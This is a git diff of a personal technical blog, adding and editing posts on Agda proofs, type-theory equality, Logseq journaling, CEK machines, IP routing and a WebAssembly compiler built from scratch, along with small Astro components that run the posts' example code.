> committed to the repo yet. > committed to the repo yet.
@ -130,9 +131,10 @@ project structure should look a bit more like this:
 flake.nix  flake.nix
``` ```
> Remember, since you moved the `.envrc` file, you will need to run `direnv > [!admonition: NOTE]
allow` again. Depending on how you moved it, you might also need to change the > Remember, since you moved the `.envrc` file, you will need to run `direnv allow`
> path you wrote in the `use flake` command. > again. Depending on how you moved it, you might also need to change the path you
> wrote in the `use flake` command.
With this setup, the `project` directory can contain a clean clone of upstream With this setup, the `project` directory can contain a clean clone of upstream
and your flake files will create the appropriate environment. and your flake files will create the appropriate environment.

View file

@ -1,9 +1,9 @@
--- ---
title : "Formally proving true ≢ false in cubical Agda" title: "Formally proving true ≢ false in Homotopy Type Theory with Agda"
slug : "proving-true-from-false" slug: "proving-true-from-false"
date : 2023-04-21 date: 2023-04-21
tags : ["type-theory", "agda"] tags: ["type-theory", "agda"]
math : true math: true
--- ---
<details> <details>
@ -12,20 +12,9 @@ math : true
These are some imports that are required for code on this page to work properly. These are some imports that are required for code on this page to work properly.
```agda ```agda
{-# OPTIONS --cubical #-} open import Prelude
open import Cubical.Foundations.Prelude
open import Data.Bool
open import Data.Unit
open import Data.Empty
¬_ : Set → Set
¬ A = A → ⊥
infix 4 _≢_
_≢_ : ∀ {A : Set} → A → A → Set
x ≢ y = ¬ (x ≡ y)
``` ```
</details> </details>
The other day, I was trying to prove `true ≢ false` in Agda. I would write the The other day, I was trying to prove `true ≢ false` in Agda. I would write the
@ -39,7 +28,6 @@ For many "obvious" statements, it suffices to just write `refl` since the two
sides are trivially true via rewriting. For example: sides are trivially true via rewriting. For example:
``` ```
open import Data.Nat
1+2≡3 : 1 + 2 ≡ 3 1+2≡3 : 1 + 2 ≡ 3
1+2≡3 = refl 1+2≡3 = refl
``` ```
@ -60,9 +48,8 @@ left side so it becomes judgmentally equal to the right:
- suc (suc (suc zero)) - suc (suc (suc zero))
- 3 - 3
However, in cubical Agda, naively using `refl` with the inverse statement However, in Agda, naively using `refl` with the inverse statement doesn't work.
doesn't work. I've commented it out so the code on this page can continue to I've commented it out so the code on this page can continue to compile.
compile.
``` ```
-- true≢false = refl -- true≢false = refl
@ -95,7 +82,7 @@ The strategy here is we define some kind of "type-map". Every time we see
`false`, we'll map it to empty. `false`, we'll map it to empty.
``` ```
bool-map : Bool → Type bool-map : Bool → Set
bool-map true = bool-map true =
bool-map false = ⊥ bool-map false = ⊥
``` ```
@ -105,26 +92,29 @@ over a path (the path supposedly given to us as the witness that true ≢ false)
will produce a function from the inhabited type we chose to the empty type! will produce a function from the inhabited type we chose to the empty type!
``` ```
true≢false p = transport (λ i → bool-map (p i)) tt true≢false p = transport bool-map p tt
``` ```
I used `true` here, but I could equally have just used anything else: I used `true` here, but I could equally have just used anything else:
``` ```
bool-map2 : Bool → Type bool-map2 : Bool → Set
bool-map2 true = 1 ≡ 1 bool-map2 true = 1 ≡ 1
bool-map2 false = ⊥ bool-map2 false = ⊥
true≢false2 : true ≢ false true≢false2 : true ≢ false
true≢false2 p = transport (λ i → bool-map2 (p i)) refl true≢false2 p = transport bool-map2 p refl
``` ```
## Note on proving divergence on equivalent values ## Note on proving divergence on equivalent values
Let's make sure this isn't broken by trying to apply this to something that's > [!admonition: NOTE]
actually true: > Update: some of these have been commented out since regular Agda doesn't support higher inductive types
``` Let's make sure this isn't broken by trying to apply this to something that's
actually true, like this higher inductive type:
```text
data NotBool : Type where data NotBool : Type where
true1 : NotBool true1 : NotBool
true2 : NotBool true2 : NotBool
@ -135,7 +125,7 @@ In this data type, we have a path over `true1` and `true2` that is a part of the
definition of the `NotBool` type. Since this is an intrinsic equality, we can't definition of the `NotBool` type. Since this is an intrinsic equality, we can't
map `true1` and `true2` to divergent types. Let's see what happens: map `true1` and `true2` to divergent types. Let's see what happens:
``` ```text
notbool-map : NotBool → Type notbool-map : NotBool → Type
notbool-map true1 = notbool-map true1 =
notbool-map true2 = ⊥ notbool-map true2 = ⊥

View file

@ -3,9 +3,9 @@ title: "Equivalences"
slug: "equivalences" slug: "equivalences"
date: 2023-05-06 date: 2023-05-06
tags: tags:
- type-theory - type-theory
- agda - agda
- hott - hott
math: true math: true
draft: true draft: true
--- ---
@ -58,6 +58,7 @@ we can just give $y$ again, and use the `refl` function above for the equality
proof proof
``` ```
``` ```
The next step is to prove that it's contractible. Using the same derivation for The next step is to prove that it's contractible. Using the same derivation for
@ -148,9 +149,9 @@ Blocked on this issue: https://git.mzhang.io/school/cubical/issues/1
Now we can prove that the path is the same Now we can prove that the path is the same
\begin{CD} \begin{CD}
A @> > > B \\\ A @> > > B \\\
@VVV @VVV \\\ @VVV @VVV \\\
C @> > > D C @> > > D
\end{CD} \end{CD}
- $A \rightarrow B$ is the path of the original fiber that we've specified, which is $f\ x \equiv y$ - $A \rightarrow B$ is the path of the original fiber that we've specified, which is $f\ x \equiv y$
@ -165,10 +166,12 @@ Bool-id-is-equiv .equiv-proof y .snd y₁ i .snd j =
c-d = y₁ .snd c-d = y₁ .snd
in in
? ?
``` ```
Blocked on this issue: https://git.mzhang.io/school/cubical/issues/2 Blocked on this issue: https://git.mzhang.io/school/cubical/issues/2
```
```
``` ```
## Other Equivalences ## Other Equivalences

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@ -36,7 +36,7 @@ I'm going to implement this using [Deno].
[deno]: https://deno.land/ [deno]: https://deno.land/
> **&#x1f4a1; This is a literate document.** I wrote a [small utility][3] to > **:bulb: This is a literate document.** I wrote a [small utility][3] to
> extract the code blocks out of markdown files, and it should produce working > extract the code blocks out of markdown files, and it should produce working
> example for this file. If you have the utility, then running the following > example for this file. If you have the utility, then running the following
> should get you a copy of all the code extracted from this blog post: > should get you a copy of all the code extracted from this blog post:

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@ -0,0 +1,144 @@
---
title: Thoughts on personal organization
date: 2023-08-31T13:57:29.022Z
tags:
- organization
- logseq
heroImage: ./calendarHero.png
heroAlt: pastel colored stationery background with a bunch of calendars and personal organization tools in a crayon drawing style
---
Many people don't really use a calendar of any sort to manage their lives.
I get it. Putting events into a calendar is kind of a chore. It's a menial relic
from work and none of us want to even think about creating events during our
coveted personal hours. We want to live our lives free from the constraints of
the time boxes on our screens.
On top of that, traditional calendar apps still primarily use email for the most
part (sending invites, updating times, etc.) and the new generation of calendar
apps suffer from the social network problem of having to get everyone on the
same app.
But to some extent, it's still valuable to have things down in writing rather
than juggling it in our minds all the time.
Which is why it's such a shame that the personal management story has always
been kind of fragmented. Calendars are supposed to manage the entire picture of
my personal schedule, yet they only see a small slice of your life. The only
things calendars can see automatically with no intervention on my part are
emails that are sent from airlines.
> [!admonition: NOTE]
> I'm sure Google or Apple could probably ritz up their services to scan text
> and guess events to put on your calendar, but that's missing the point. The vast
> majority of people I associate with rarely coordinate events over email in the
> first place.
## Journals
For a while I've always wanted a kind of personal information manager: something
that would put all my information in one place and make it easy for me to query
across apps. When I embarked on this search I wouldn't have thought that the
most promising tool would end up being a journaling app.
(by journaling app I mean something like [Logseq], [Obsidian], [Notion],
[Workflowy] or [the][roam] [million][joplin] [other][craft]
[similar][stdnotes] [apps][bear] that allow you to write some markdown-ish
content, store it, and then never look back at it again)
[logseq]: https://logseq.com
[obsidian]: https://obsidian.md/
[notion]: https://www.notion.so/
[workflowy]: https://workflowy.com/
[roam]: https://roamresearch.com/
[joplin]: https://joplinapp.org/
[craft]: https://www.craft.do/
[stdnotes]: https://standardnotes.com/
[bear]: https://bear.app/
The world of journaling apps is vast but relatively undiverse. Most of the apps
just have the same features others do, minus one or two gimmicks that makes it a
ride or die. But there's one important feature that I have started looking out
for recently: the ability to attach arbitrary metadata to journal entries and be
able to query for them.
While new apps have been cropping up from time to time for a while now, I think
a common trend that's starting to emerge is that these "journals" are really
more like personal databases. Extracting structured fields is extremely
important if you want any kind of smart understanding of what is being
journaled.
For example, I could write "weighed in at 135 pounds today", but if I wanted to
find previous instances of this or make any kind of history, I would have to
essentially do a pure text search. However, with structured data this could be
different.
[Logseq], the app that I've settled on, is backed by a real database, and most
importantly exposes a lot of this functionality to you as a user. It allows you
to query directly on properties that you write into your daily journal or any
other page, for example like this:
![recording some property in logseq](./minicross.png)
What you're seeing is me using my daily journals to add a todo item for reading
a paper and tracking how long it takes me to do the [NY Times daily
crossword][minicross] (which I've shortened to minicross). I just add these to
my journal as it comes up throughout my day, but Logseq is able to index this
and serve it back to me in a very structured way:
[datascript]: https://github.com/tonsky/datascript
[minicross]: https://www.nytimes.com/crosswords/game/mini
![performing a query in logseq](./logseqQuery.png)
With this, I could go on to construct a graph and see historical data of how I
did over time. You can see how this could be used for more personal tracking
things like workout records or grocery trackers.
The query tool is very simple and easy to learn, and makes it easy to actually
_use_ the information you wrote down, instead of just burying it into oblivion.
For example, I can write todo items inline in my journal and find them all at a
time as well. Here's all of the todo items that I've tagged specifically with
the tag `#read`:
![reading list in logseq](./readingList.png)
Notice how the paper I added as a todo helpfully shows up here. No need for a
separate todo list or planning tool!
The fact that it truly is a database means I can just shove all kinds of
unrelated information into my journal, do some very trivial labeling and get
some really powerful uses out of it.
In the future I'd like to do dumps for my sleep and health data as well
and have Logseq be my ultimate source of truth. I've started developing a
[calendar plugin for Logseq][2] that will have the ability to display numerical
data using various visualizations for this purpose.
[2]: https://git.mzhang.io/michael/logseq-calendar
> [!admonition: NOTE]
> As an aside, this isn't sponsored in any way. While this post makes me sound
> like just a Logseq shill, it's actually quite the opposite: they're an
> open-source project solely funded by donations. I've been donating to them
> monthly on [Open Collective] and they've been actively developing really cool
> features!
[open collective]: https://opencollective.com/logseq
## Privacy
Because people are dumping so much of their lives into journals, it's absolutely
crucial that boundaries are clear. Without control, this would be a dream come
true for any data collection company: rather than having to go out and gather
the data, users are entering and structuring it all by themselves.
**End-to-end encryption** is a technique that ensures data is never able to be
accessed by your storage or synchronization providers. If you are in the market
for some kind of personal tracking app, make sure it talks about end-to-end
encryption as a feature. While it's [not the end-all-be-all of security][1],
it's certainly a big first step. Do careful research before deciding who to
trust with your data.
[1]: /posts/2021-10-31-e2e-encryption-useless-without-client-freedom

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@ -0,0 +1,249 @@
---
title: Building a formal CEK machine in Agda
draft: true
date: 2023-09-01T13:53:23.974Z
tags:
- computer-science
- programming-languages
- formal-verification
- lambda-calculus
heroImage: ./header.jpg
heroAlt: gears spinning wallpaper
math: true
toc: true
---
Back in 2022, I took a special topics course, CSCI 8980, on [reasoning about
programming languages using Agda][plfa], a dependently typed meta-language. For
the term project, we were to implement a simply-typed lambda calculus with
several extensions, along with proofs of certain properties.
[plfa]: https://plfa.github.io/
My lambda calculus implemented `call/cc` on top of a CEK machine.
<details>
<summary><b>Why is this interesting?</b></summary>
Reasoning about languages is one way of ensuring whole-program correctness.
Building up these languages from foundations grounded in logic helps us
achieve our goal with more rigor.
As an example, suppose I wrote a function that takes a list of numbers and
returns the maximum value. Mathematically speaking, this function would be
_non-total_; an input consisting of an empty set would not produce reasonable
output. If this were a library function I'd like to tell people who write code
that uses this function "don't give me an empty list!"
But just writing this in documentation isn't enough. What we'd really like is
for a tool (like a compiler) to tell any developer who is trying to pass an
empty list into our maximum function "You can't do that." Unfortunately, most
of the popular languages being used today have no way of describing "a list
that's not empty."
We still have a way to prevent people from running into this problem, though
it involves pushing the problem to runtime rather than compile time. The
maximum function could return an "optional" maximum. Some languages'
implementations of optional values force programmers to handle the "nothing"
case, while others ignore it silently. But in the more optimistic case, even
if the list was empty, the caller would have handled it and treated it
accordingly.
This isn't a pretty way to solve this problem. _Dependent types_ gives us
tools to solve this problem in an elegant way, by giving the type system the
ability to contain values. This also opens its own can of worms, but for
questions about program correctness, it is more valuable than depending on
catching problems at runtime.
</details>
## Crash course on the lambda calculus
The [lambda calculus] is a mathematical abstraction for computation. The core
mechanism it uses is a concept called a _term_. Everything that can be
represented in a lambda calculus is some combination of terms. A term can have
several constructors:
[lambda calculus]: https://en.wikipedia.org/wiki/Lambda_calculus
- **Var.** This is just a variable, like $x$ or $y$. By itself it holds no
meaning, but during evaluation, the evaluation _environment_ holds a mapping
from variable names to the values. If the environment says $\{ x = 5 \}$, then
evaluating $x$ would result in $5$.
- **Abstraction, or lambda ($\lambda$).** An _abstraction_ is a term that describes some
other computation. From an algebraic perspective, it can be thought of as a
function with a single argument (i.e $f(x) = 2x$ is an abstraction, although
it would be written using the notation $\lambda x.2x$)
- **Application.** Application is sort of the opposite of abstraction, exposing
the computation that was abstracted away. From an algebraic perspective,
this is just function application (i.e applying $f(x) = 2x$ to $3$ would
result in $2 \times 3 = 6$. Note that only a simple substitution has been done
and further evaluation is required to reduce $2\times 3$)
### Why?
The reason it's set up this way is so we can reason about terms inductively.
Rather than having lots of syntax for making it easier for programmers to write
a for loop as opposed to a while loop, or constructing different kinds of
values, the lambda calculus focuses on function abstraction and calls, and
strips everything else away.
The idea is that because terms are just nested constructors, we can describe the
behavior of any term by just defining the behavior of these 3 constructors. The
flavorful features of other programming languages can be implemented on top of
the function call rules in ways that don't disrupt the basic function of the
evaluation.
In fact, the lambda calculus is [Turing-complete][tc], so any computation can
technically be reduced to those 3 constructs. I used numbers liberally in the
examples above, but in a lambda calculus without numbers, you could define
integers using a recursive strategy called [Church numerals]. It works like this:
[church numerals]: https://en.wikipedia.org/wiki/Church_encoding
- $z$ represents zero.
- $s$ represents a "successor", or increment function. So:
- $s(z)$ represents 1,
- $s(s(z))$ represents 2
- and so on.
In lambda calculus terms, this would look like:
| number | lambda calculus expression |
| ------ | ---------------------------------- |
| 0 | $\lambda s.(\lambda z.z)$ |
| 1 | $\lambda s.(\lambda z.s(z))$ |
| 2 | $\lambda s.(\lambda z.s(s(z)))$ |
| 3 | $\lambda s.(\lambda z.s(s(s(z))))$ |
In practice, many lambda calculus incorporate higher level constructors such as
numbers or lists to make it so we can avoid having to represent them using only
a series of function calls. However, any time we add more syntax to a language,
we increase its complexity in proofs, so for now let's keep it simple.
### The Turing completeness curse
As I noted above, the lambda calculus is [_Turing-complete_][tc]. One feature of
Turing complete systems is that they have a (provably!) unsolvable "halting"
problem. Most of the simple terms shown above terminate predictably. But as an
example of a term that doesn't halt, consider the _Y combinator_, an example of
a fixed-point combinator:
[tc]: https://en.wikipedia.org/wiki/Turing_completeness
$$
Y = \lambda f.(\lambda x.f(x(x)))(\lambda x.f(x(x)))
$$
That's quite a mouthful. If you tried calling $Y$ on some term, you will find
that evaluation will quickly expand infinitely. That makes sense given its
purpose: to find a _fixed point_ of whatever function you pass in.
> [!admonition: NOTE]
> As an example, the fixed-point of the function $f(x) = \sqrt{x}$ is $1$.
> That's because $f(1) = 1$, and applying $f$ to any other number sort of
> converges in on this value. If you took any number and applied $f$ infinitely
> many times on it, you would get $1$.
>
> In this sense, the Y combinator can be seen as a sort of brute-force approach
> of finding this fixed point by simply applying the function over and over until
> the result stops changing. In the untyped lambda calculus, this can be used to
> implement simple (but possibly unbounded) recursion.
This actually proves disastrous for trying to reason about the logic of a
program. If something is able to recurse on itself without limit, we won't be
able to tell what its result is, and we _definitely_ won't be able to know if
the result is correct. This is why we typically ban unbounded recursion in
proof systems. In fact, you can give proofs for false statements using infinite
recursion.
This is why we actually prefer _not_ to work with Turing-complete languages when
doing logical reasoning on program evaluation. Instead, we always want to add
some constraints on it to make evaluation total, ensuring that we have perfect
information about our program's behavior.
### Simply-typed lambda calculus
The [simply-typed lambda calculus] (STLC, or the notational variant
$\lambda^\rightarrow$) adds types to every term. Types are crucial to any kind
of static program analysis. Suppose I was trying to apply the term $5$ to $6$ (in
other words, call $5$ with the argument $6$ as if $5$ was a function, like
$5(6)$). As humans we can look at that and instantly recognize that the
evaluation would be invalid, yet under the untyped lambda calculus, it would be
completely representable.
[simply-typed lambda calculus]: https://en.wikipedia.org/wiki/Simply_typed_lambda_calculus
To solve this in STLC, we would make this term completely unrepresentable at
all. To say you want to apply $5$ to $6$ would not be a legal STLC term. We do
this by requiring that all STLC terms are untyped lambda calculus terms
accompanied by a _type_.
This gives us more information about what's allowed before we run the
evaluation. For example, numbers may have their own type $\mathbb{N}$ (read
"nat", for "natural number") and booleans are $\mathrm{Bool}$, while functions
have a special "arrow" type $\_\rightarrow\_$, where the underscores represent
other types. A function that takes a number and returns a boolean (like isEven)
would have the type $\mathbb{N} \rightarrow \mathrm{Bool}$, while a function
that takes a boolean and returns another boolean would be $\mathrm{Bool}
\rightarrow \mathrm{Bool}$.
With this, we have a framework for rejecting terms that would otherwise be legal
in untyped lambda calculus, but would break when we tried to evaluate them. A
function application would be able to require that the argument is the same type
as what the function is expecting.
The nice property you get now is that all valid STLC programs will never get
_stuck_, which is being unable to evaluate due to some kind of error. Each term
will either be able to be evaluated to a next state, or is done.
A semi-formal definition for STLC terms would look something like this:
- **Var.** Same as before, it's a variable that can be looked up in the
environment.
- **Abstraction, or lambda ($\lambda$).** This is a function that carries three pieces
of information:
1. the name of the variable that its input will be substituted for
2. the _type_ of the input, and
3. the body in which the substitution will happen.
- **Application.** Same as before.
It doesn't really seem like changing just one term changes the language all that
much. But as a result of this tiny change, _every_ term now has a type:
- $5 :: \mathbb{N}$
- $λ(x:\mathbb{N}).2x :: \mathbb{N} \rightarrow \mathbb{N}$
- $isEven(3) :: (\mathbb{N} \rightarrow \mathrm{Bool}) · \mathbb{N} = \mathrm{Bool}$
> [!admonition: NOTE]
> Some notation:
>
> - $x :: T$ means $x$ has type $T$, and
> - $f · x$ means $f$ applied to $x$
This also means that some values are now unrepresentable:
- $isEven(λx.2x)$ wouldn't work anymore because the type of the inner argument
$λx.2x$ would be $\mathbb{N} \rightarrow \mathbb{N}$ can't be used as an input
for $isEven$, which is expecting a $\mathbb{N}$.
We have a good foundation for writing programs now, but this by itself can't
qualify as a system for computation. We need an abstract machine of sorts that
can evaluate these symbols and actually compute on them.
In practice, there's a number of different possible abstract machines that can
evaluate the lambda calculus. Besides the basic direct implementation, alternate
implementations such as [interaction nets] have become popular due to being able
to be parallelized efficiently.
[interaction nets]: https://en.wikipedia.org/wiki/Interaction_nets
## CEK machine
A CEK machine is responsible for evaluating a lambda calculus term.

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---
title: Hindley-Milner type inference
date: 2023-09-01T13:06:55.614Z
tags:
- type-theory
draft: true
---
Today, a lot of languages have a feature called something along the lines of
"type inference". The idea is that through the way variables are passed and
used, you can make guesses about what type it should be, and preemptively point
out invalid or incompatible uses. Let's talk about how it works.

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---
title: How IP routing works
date: 2023-09-01T03:50:38.386Z
tags:
- networking
draft: true
heroImage: ./cableHero.png
heroAlt: futuristic photograph of a bunch of organized network cables
---
Many of us have probably heard of an IP address, but how does it actually work?
I'm going to try to give a high level overview to technical networking concepts.
Throughout this post I'm going to keep referring back to a train station
analogy. We'll start off with a small network and build up into something that
scales into the internet we have today.
## The simplest network
First, the analogy isn't very far off. Just as there's multiple tracks
leading away from a train station, a computer has multiple ports to communicate
with other computers, and we typically call these **interfaces**. For example, a
laptop may have a Wi-Fi _interface_ and an Ethernet _interface_, while a cell
phone may have a cellular _interface_ as well. Server computers could have any
number of interfaces.
You could imagine a simple network between 3 computers like this:

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@ -0,0 +1,48 @@
---
import { Code } from "astro:components";
interface Props {
code: string;
resultName?: string | string[];
}
let { code, resultName } = Astro.props;
// Detect common whitespace
let longestCommonWhitespace: number | null = null;
for (const line of code.split("\n")) {
if (line.trim().length === 0) continue;
const startingWhitespace = line.match(/^(\s+)/)!;
const len = startingWhitespace[1].length;
if (longestCommonWhitespace === null || len < longestCommonWhitespace)
longestCommonWhitespace = len;
}
code = code
.split("\n")
.map((line) => {
if (line.trim().length === 0) return "";
return line.substring(longestCommonWhitespace);
})
.join("\n")
.trim();
// Strip some characters from it
code = code.trim();
let scriptCode = code;
if (typeof resultName === "string") scriptCode += `\n${resultName};`;
else if (Array.isArray(resultName)) scriptCode += `\n[${resultName.join(", ")}];`;
---
<!-- <Code code={code} lang="js" theme="github-dark" /> -->
<Code code={code} lang="js" theme="css-variables" />
<script define:vars={{ resultName, scriptCode }}>
const result = eval?.(scriptCode);
if (typeof resultName === "string") window[resultName] = result;
else if (Array.isArray(resultName)) {
resultName.forEach((name, i) => {
window[name] = result[i];
});
}
</script>

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@ -0,0 +1,33 @@
---
import { nanoid } from "nanoid";
import "./style.scss";
interface Props {
label?: string;
id?: string;
runAction: string;
}
const { label, id, runAction } = Astro.props;
const codeId = id ?? nanoid();
const scriptCode = `
javascript:((displayResult) => {
${runAction}
})((result) => {
const el = document.getElementById("${codeId}");
el.innerText = result.toString();
const stamp = document.getElementById("${codeId}-stamp");
stamp.innerText = new Date().toISOString();
});
`;
---
<button onclick={scriptCode}>{label ?? "Run"}</button>
<div class="result">
<pre id={codeId}></pre>
<small>
Last run:
<span id={`${codeId}-stamp`}></span>
</small>
</div>

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---
title: Compiler from scratch
date: 2023-09-08T06:17:00.840Z
tags:
- programming-languages
draft: true
toc: true
---
import CodeBlock from "./CodeBlock.astro";
import Playground from "./Playground.astro";
Just for fun, let's write a compiler that targets WebAssembly.
I'm writing this post as I'm discovering how this works, so join me on my journey!
## Producing a working "binary"
I don't know how WebAssembly actually works, so here's some of the resources I'm
consulting:
- https://developer.mozilla.org/en-US/docs/WebAssembly/Using_the_JavaScript_API
- https://webassembly.github.io/spec/core/index.html
A compiler for a general language is quite an undertaking, so let's start with
the proverbial "Hello, world" program, just to write some output to the screen.
This ...isn't very clear either. First of all, how do we even get output from
WebAssembly?
Well, it looks like according to [this][exported-functions] document, you can
essentially mark certain wasm concepts as "exported", and access them from
`obj.instance.exports`. Let's start by trying to export a single number.
[exported-functions]: https://developer.mozilla.org/en-US/docs/WebAssembly/Exported_functions
### Returning a number from WebAssembly
We can use tables to export a number from wasm to JavaScript so we can access it
and print it to the screen. Based on the [MDN example], we can tell that we'll
need to be able to export modules, functions, and tables. We can use the [binary
format spec] to figure out how to produce this info.
[mdn example]: https://github.com/mdn/webassembly-examples/blob/5a2dd7ca5c82d19ae9dd25d170e7ef5e9f23fbb7/js-api-examples/table.wat
[binary format spec]: https://webassembly.github.io/spec/core/binary/index.html
Starting off, a class that we can start writing binary data to:
<CodeBlock
code={`
function WasmWriter(size) {
this.buffer = new ArrayBuffer(size ?? 1024);
this.cursor = 0;
}
// Helper function for displaying the number of bytes written as an array
WasmWriter.prototype.asArray = function() { return [...new Uint8Array(this.buffer.slice(0, this.cursor))]; };
WasmWriter.prototype.display = function() { return "[" + this.asArray().map(x => x.toString(16).padStart(2, '0')).join(", ") + "]"; };
`}
/>
<Playground runAction={`displayResult(new WasmWriter().display());`} />
We'll want to write some stuff into it. Like bytes?
<CodeBlock
code={`
WasmWriter.prototype.write = function(obj) {
const len = obj.len?.();
const view = new Uint8Array(this.buffer);
obj.write({
recurse: (obj) => this.write(obj),
emit: (byte) => { view[this.cursor] = byte; this.cursor += 1 }
});
};
`}
/>
Or [integers][int spec]? Let's use the [algorithm given on Wikipedia][uleb algo]
here.
[int spec]: https://webassembly.github.io/spec/core/binary/values.html#integers
[uleb algo]: https://en.wikipedia.org/wiki/LEB128#Unsigned_LEB128
<CodeBlock
resultName="UInt"
code={`
class UInt {
constructor(num) { this.num = num; }
write({ emit }) {
let num = this.num;
if (num === 0) { emit(0); return }
do {
let byte = num % 128;
num = num >> 7;
if (num !== 0) byte = byte | 128;
emit(byte);
} while(num !== 0);
};
}
`}
/>
<Playground
label="Encode some ints"
runAction={`
let ints = [10, 100, 1000, 10000, 100_000];
displayResult(ints.map(x => {
const writer = new WasmWriter();
writer.write(new UInt(x));
return \`\${x} encodes to \${writer.display()}\`;
}).join("\\n"));
`}
/>
Perfect. What do we still need to encode a complete WebAssembly program? Reading
[this][binary modules spec], I guess we'll need functions, tables, and modules.
Let's keep going, starting with [functions][func type spec].
[binary modules spec]: https://webassembly.github.io/spec/core/binary/modules.html#binary-module
[func type spec]: https://webassembly.github.io/spec/core/binary/types.html#binary-functype
<CodeBlock
resultName={["Vec", "ResultType", "NumType", "FuncType"]}
code={`
class Vec {
constructor(items) { this.items = items; }
write({ recurse }) {
recurse(new UInt(this.items.length));
this.items.forEach(item => recurse(item));
}
}
class ResultType {
constructor(valTypes) { this.valTypes = valTypes; }
write({ recurse }) { recurse(new Vec(this.valTypes)); }
}
class NumType {
constructor(type) { this.type = type; }
write({ emit }) {
emit({ "i32": 0x7f, "i64": 0x7e,
"f32": 0x7d, "f64": 0x7c }[this.type]);
};
}
class FuncType {
constructor(rt1, rt2) { this.rt1 = rt1; this.rt2 = rt2; }
write({ emit, recurse }) { emit(0x60); recurse(this.rt1); recurse(this.rt2); };
}
`}
/>
If you run this, you'll see that it prints out what we expected:
- `0x60` designates that it's a function type
- `0x00` means the list of parameter types is empty
- `0x01` means the list of return types has 1 item
- that item is `0x7f`, corresponding to `i32`
<Playground
label="Encode [] -> [i32] function"
runAction={`
const writer = new WasmWriter();
writer.write(new FuncType(
new ResultType([]),
new ResultType([new NumType("i32")]),
));
displayResult(writer.display());
`}
/>
Now, on to [tables][table type spec]:
[table type spec]: https://webassembly.github.io/spec/core/binary/types.html#table-types
<CodeBlock
resultName={["TableType", "RefType", "Limit"]}
code={`
class TableType {
constructor(et, lim) { this.et = et; this.lim = lim; }
write({ recurse }) { recurse(this.et); recurse(this.lim); }
}
class RefType {
constructor(type) { this.type = type; }
write({ emit }) { emit({"func": 0x70, "extern": 0x6f}[this.type]) }
}
class Limit {
constructor(min, max) { this.min = min; this.max = max; }
write({ emit, recurse }) {
const min = new UInt(this.min), max = new UInt(this.max);
if (this.max) { emit(0x1); recurse(min); recurse(max); }
if (this.max) { emit(0x0); recurse(min); }
}
}
`}
/>
<Playground
label="Encode a table of functions with limit [1, 5]"
runAction={`
const writer = new WasmWriter();
writer.write(new TableType(
new RefType("func"),
new Limit(1, 5),
));
displayResult(writer.display());
`}
/>
#### Module
Ok, let's put this all together and make a [module][module spec]!
[module spec]: https://webassembly.github.io/spec/core/binary/modules.html#binary-module
<CodeBlock
resultName={["Module"]}
code={`
class Module {
constructor(sections) { this.sections = sections; }
write({ emit, recurse }) {
emit(0x00); emit(0x61); emit(0x73); emit(0x6d);
emit(0x01); emit(0x00); emit(0x00); emit(0x00);
this.sections.map(section => recurse(section));
}
}
`}
/>
<Playground
label="Encode a module!!"
runAction={`
const writer = new WasmWriter();
writer.write(new Module([
new FuncType(new ResultType([]), new ResultType([new NumType("i32")])),
new TableType(new RefType("func"), new Limit(0)),
]));
displayResult(writer.display());
`}
/>

View file

@ -0,0 +1,4 @@
.result {
border: 1px solid red;
padding: 6px;
}

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@ -0,0 +1,122 @@
---
title: Equality
date: 2023-09-15T05:36:53.757Z
tags:
- type-theory
draft: true
---
When learning type theory, it's important to make a distinction between several
kinds of "same"-ness. Whenever you talk about two things being equal, you'd want
to qualify it with one of these in order to make it clear which you're referring
to, since they're very different concepts.
- **Definitional**, or **judgmental** equality. This is usually written with
$\equiv$ in math. If you see $x \equiv y$, this says "I've defined $x$ and $y$
to be the same, so anytime you see $x$, you can replace it with $y$ and vice
versa."
> [!admonition: NOTE]
> Technically speaking, definitional and judgmental are two separate concepts
> but coincide in many type theories. You could think of multiple levels of
> equalities like this:
>
> - Does $2$ equal $2$? Yes. This is the same object, and equality is reflexive.
> - Does $s(s(z))$ equal $2$? Well, typically this is how natural numbers are
> defined in type systems: $2 \equiv s(s(z))$. If somewhere before this, you
> said "let $2$ equal $s(s(z))$", then _by definition_ these are identical.
> - Does $1 + 1$ equal $2$? The operation $+$ is a function, and requires a
> &beta;-reduction to evaluate any further. This choice really comes down to the
> choice of the type theory designer; if you wanted a more intensional type
> theory, you could choose to not allow &beta;-reduction during evaluation of
> identities. Most type theories _do_ allow this though.
> - Does $x = y$ for any $x$ and $y$?
>
> As far as I understand, you can choose whatever to _be_ your "definitional"
> equality,
- **Propositional** equality. This describes a _value_ that potentially holds
true or false. This is typically written $=$ in math.
## Helpful tips
- You can talk about propositional equalities conditionally, like "if $a$ equals
$b$, then $c$ is true". This kind of expression doesn't really make sense for
judgmental equality, like in the following example:
Suppose you made the judgment: $x = 2$. It makes no sense to then say "if $x$
equals $2$, then $c$ is true." You can just skip right to $c$ is true, because
you've defined it to be true, so it's useless even thinking about
the case where it's false because that would be a part of a completely
different world entirely.
- Here's a concrete example of the difference between judgmental and
propositional equality. Consider these 2 expressions:
- $2 + 3 = 3 + 2$
- $\forall x\ y \in \mathbb{N} . (x + y = y + x)$
In the first case, performing &beta;-reduction on both terms reduces to $5 =
5$, which is definitionally equal by virtue of being the exact same symbol.
In the second case however, &beta;-reduction is impossible. Without a specific
$x$ or $y$, there's actually no way to reduce either side more. You would need
some other constructs to prove it, such as induction.
- Suppose you were expressing these concepts in a language like TypeScript. The
analog of a judgment would be something like:
```ts
type Foo = string;
```
Any time you're using `Foo`, you really don't have to compare it with
`string`, because just through a simple substitution you will get the same
symbol:
```
function sayHello(who: string) { console.log(`Hello, ${who}`); }
function run(foo: Foo) { sayHello(foo); }
```
On the other hand, a propositional equality type might look something like
this instead:
```ts
class Equal<A, B> {
private constructor() {}
static refl<A>(): Equal<A, A> {}
}
```
You could have a value of this type, and query on its truthiness:
```ts
type TwoEqualsTwo = Equal<Two, 2>;
function trans<A, B, C>(x: Equal<A, B>, y: Equal<B, C>): Equal<A, C> {
// magic...
}
```
## Notation gotcha
The syntax we use in most math papers and other literature and the syntax we use
for equalities in various dependently-typed programming languages are annoyingly
different:
| | Math | Agda | Coq | Idris |
| ------------- | ------------ | ------- | -------- | ------- |
| Judgmental | $x \equiv y$ | `x = y` | `x := y` | `x = y` |
| Propositional | $x = y$ | `x ≡ y` | `x = y` | `x = y` |
Usually there'll be some other pre-fix way of writing the propositional equals
in your language too. In Agda, it's `Path {A} x y`.
## More reading
- https://ncatlab.org/nlab/show/definitional+equality
- https://ncatlab.org/nlab/show/judgment
- https://ncatlab.org/nlab/show/judgmental+equality
- https://ncatlab.org/nlab/show/propositional+equality
